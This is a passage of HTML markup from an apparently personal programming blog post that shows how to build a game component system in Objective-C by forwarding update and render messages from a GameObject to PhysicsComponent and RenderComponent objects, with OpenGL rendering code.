&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then it would inevitably add a PhysicsComponent to Background actor and a RenderComponent to a HiddenBonus actor.&lt;/p&gt;

&lt;p&gt;In Objective-C we can in fact design the component system using the message forwarding.
( Don’t forget to checkout this older post on message forwarding ).&lt;/p&gt;

&lt;p&gt;At the core, we can have a GameObject class like&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;GameObject&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;NSObject&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But this doesn’t implements any of these methods, instead it forwards them to relevant Component classes. We can write our Component classes as&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;PhysicsComponent&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;NSObject&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;

&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;RenderComponent&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;NSObject&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our GameObject class gets reduced to&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;GameObject&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;NSObject&lt;/span&gt;

&lt;span class="k"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GameObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;emptyObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;enablePhysicsComponent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;enableRenderComponent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our game loop initializes our GameObjects as&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;loadGameObjects&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;ninja&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;GameObject&lt;/span&gt; &lt;span class="nf"&gt;emptyObject&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ninja&lt;/span&gt; &lt;span class="nf"&gt;enablePhysicsComponent&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ninja&lt;/span&gt; &lt;span class="nf"&gt;enableRenderComponent&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="n"&gt;bonus&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;GameObject&lt;/span&gt; &lt;span class="nf"&gt;emptyObject&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;bonus&lt;/span&gt; &lt;span class="nf"&gt;enablePhysicsComponent&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;GameObject&lt;/span&gt; &lt;span class="nf"&gt;emptyObject&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="nf"&gt;enableRenderComponent&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And updates and render them as&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;loopUpdate&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;dt&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ninja&lt;/span&gt; &lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;bonus&lt;/span&gt; &lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;loopRender&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ninja&lt;/span&gt; &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you compile at this stage, you will get errors like:&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;‘No visible @interface for ‘GameObject’ declares the selector ‘update’.
‘No visible @interface for ‘GameObject’ declares the selector ‘render’.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In earlier days the code used to compile just like that. Later it became an warning, which was good for most of the developer who migrated to Objective-C from other compile time bound languages like C++. Objective-C is mainly a runtime bound language, but very few developers appreciate this fact and they complained a lot on why compilers don’t catch their errors early on, or more precisely, why it doesn’t works somewhat like C++. And I understand that feeling, because I too love C++. But, when I’m coding in Objective-C I use it like Objective-C. They are two completely different languages based on completely different ideology.&lt;/p&gt;

&lt;p&gt;Moving forward in time, ARC came along. It made using Objective-C runtime behavior impossible. Now the ‘missing’ method declaration became an error. For this experimentation, let’s disable ARC entirely and see how it goes.&lt;/p&gt;

&lt;p&gt;OK, good enough. The errors are now warnings. But we can at least move forward with our experiment.&lt;/p&gt;

&lt;p&gt;Lets add the message forwarding machinery to our GameObject. Whenever a message is passed to an object in Objective-C, if the message is not implemented by the receiver object, then before throwing an exception the Objective-C runtime offers us an opportunity to forward the message to some other delegate object. The way this is done is quite simple, we just need to implement following methods.&lt;/p&gt;

&lt;p&gt;First thing we need to handle is passing a selector availability test.&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;respondsToSelector&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;SEL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;aSelector&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt; &lt;span class="nf"&gt;respondsToSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;aSelector&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;YES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;renderComponent&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;renderComponent&lt;/span&gt; &lt;span class="nf"&gt;respondsToSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;aSelector&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;YES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;physicsComponent&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;physicsComponent&lt;/span&gt; &lt;span class="nf"&gt;respondsToSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;aSelector&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;YES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, we need to handle the method selector signature availability test.&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSMethodSignature&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;methodSignatureForSelector&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;SEL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;selector&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;NSMethodSignature&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt; &lt;span class="nf"&gt;methodSignatureForSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;renderComponent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;renderComponent&lt;/span&gt; &lt;span class="nf"&gt;methodSignatureForSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;physicsComponent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;physicsComponent&lt;/span&gt; &lt;span class="nf"&gt;methodSignatureForSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After all the tests have been cleared, it time to implement the actual message forwarding.&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;forwardInvocation&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSInvocation&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;anInvocation&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;renderComponent&lt;/span&gt; &lt;span class="nf"&gt;respondsToSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;anInvocation&lt;/span&gt; &lt;span class="nf"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;anInvocation&lt;/span&gt; &lt;span class="nf"&gt;invokeWithTarget&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;renderComponent&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;physicsComponent&lt;/span&gt; &lt;span class="nf"&gt;respondsToSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;anInvocation&lt;/span&gt; &lt;span class="nf"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;anInvocation&lt;/span&gt; &lt;span class="nf"&gt;invokeWithTarget&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;physicsComponent&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt; &lt;span class="nf"&gt;forwardInvocation&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;anInvocation&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you run the code at this point, you should see update and render getting invoked for the corresponding component objects. So yay, our component system prototype is working!&lt;/p&gt;

&lt;p&gt;Now let try to make it more concrete. Let’s work on the RenderComponent first. For testing in each render call, we just draw a Cube on the screen.&lt;/p&gt;

&lt;p&gt;The best part about the Component System is that every component focuses on just one thing. For example, the RenderComponent just focuses on rendering. We just need to add methods that are required just for rendering.&lt;/p&gt;

&lt;p&gt;Lets pass in the matrix information to the RenderComponent in form of a NSValue.&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;RenderComponent&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;NSObject&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;setNormalMatrix&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSValue&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;nMat&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;setModelViewProjectionMatrix&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSValue&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;mvpMat&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;
&lt;span class="k"&gt;@implementation&lt;/span&gt; &lt;span class="nc"&gt;RenderComponent&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;setNormalMatrix&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSValue&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;nMat&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;nMat&lt;/span&gt; &lt;span class="nf"&gt;getValue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;_normalMatrix&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;setModelViewProjectionMatrix&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSValue&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;mvpMat&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mvpMat&lt;/span&gt; &lt;span class="nf"&gt;getValue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;_modelViewProjectionMatrix&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;glUniformMatrix4fv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uniforms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;UNIFORM_MODELVIEWPROJECTION_MATRIX&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_modelViewProjectionMatrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;glUniformMatrix3fv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uniforms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;UNIFORM_NORMAL_MATRIX&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_normalMatrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;glDrawArrays&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GL_TRIANGLES&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The conversion from GLKMatrix to NSValue can be done easily like:&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="n"&gt;GLKMatrix3&lt;/span&gt; &lt;span class="n"&gt;nMat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix3InvertAndTranspose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLKMatrix4GetMatrix3&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
